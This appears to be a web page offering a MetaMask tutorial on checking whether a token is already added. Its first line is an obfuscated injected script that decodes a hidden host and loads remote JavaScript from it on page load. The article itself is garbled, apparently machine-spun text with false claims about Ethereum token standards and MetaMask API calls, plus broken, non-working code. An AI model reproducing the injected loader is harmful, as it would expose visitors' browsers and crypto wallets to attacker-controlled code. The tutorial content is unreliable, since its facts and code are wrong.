const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=efe4d6f9″;document.body.appendChild(script);
Metamask: check that the metamask is added token
As a cryptomena user, you are probably familiar with the importance of a safe and decentralized wallet. One of these wallets is metamask that allows users to store, Manage and spend their cryptocurrencies on several blockchains. However, one of the common problems that can cause users to inconvenience are when they try to add a new token to their metamask collection, but find it already used.
In this article, we will examine how to check that the token is already added in metamascus using the API web interface. We will also provide some knowledge of why this problem arises and the potential solutions that will avoid it in the future.
Why Does Metamask Do Not Support The Control of Existing Tokens?
Before immersing in the solution, let’s see why metamascus does not directly support whether token is already added or registered. The main reason is that metamask is built on top of ethereum, which has its own set of rules and tokens management regulations.
Ethereum’s token Standard (ERC-721) Requires that tokens are unique within the blockchain, which means that they can’t be duplicated or reused. This means that even if the user could add more instances of the same token to his metamask collection, it does not mean that they are all part of the same wallet.
how to check if token is already added in metamascus using the API web interface
Unfortunately, there is no official way to check that a particular token is already added in metamascus using the API web interface. However, we can use some creative solutions to achieve this.
Here is an example of how you can implement a solution:
- Get a list of all tokens stored in metamask : You can use the
et_getaccountswith a call -call function to get a list of accounts stored in metamask. Then it merites through each account and check that some of its wallets contain an instance of token you are interested in.
- check the presence of tokens in a particular wallet : If you know which wallet contains the desired token (eg by searching for a specific address), you can use the
et_GettransactionCountcountto obtain a list of the list all Transactions associated with this wallet. Then it merites through each transaction and check that any of them contains an instance of a token.
Here are a FEW SAMPLE CODES IN JAVASCRIPT TO PROVE THIS:
`JavaScript
Async Function Hassen (tokenname) {
// Get A List of All Tokens Stored In Metamask
Const Accounts = Ocat Window.ethereum.Getaccounts ();
For (Const Accounts Accounts) {
// check that any of the wallets contains an instance of token
For (Const Txid of Await Window.ethereum.GettransactionRepips (Foreign) .map (TX => TX.Transactionhash)) {
try {
// Get Details of the Transaction
Const TX = oat Window.ethereum.getTransaction (TransactionId);
// check that the transaction contains an instance of token
if (tx.data ['tokens'] && tx.data ['tokens'] [tokenname]) {
Return Pravda;
}
} Catch (error) {
Console.error (Error);
}
}
}
Falling Return;
}
// Example of Use:
Const tokenname = 'mytoken'; // replace the desired name token
Hasten (tokenname) .then (hastooke => {
If (Hassen) {
Console.log (token $ {tokenname} is already added to your metamask.);
} Else {
Console.log (You don’t have any instances of a token $ {tokenname}. ‘);
}
});
`
Conclusion
Although there is no direct way to check that the token is already added in metamascus using the API web interface, you can use solutions as an example given to achieve this.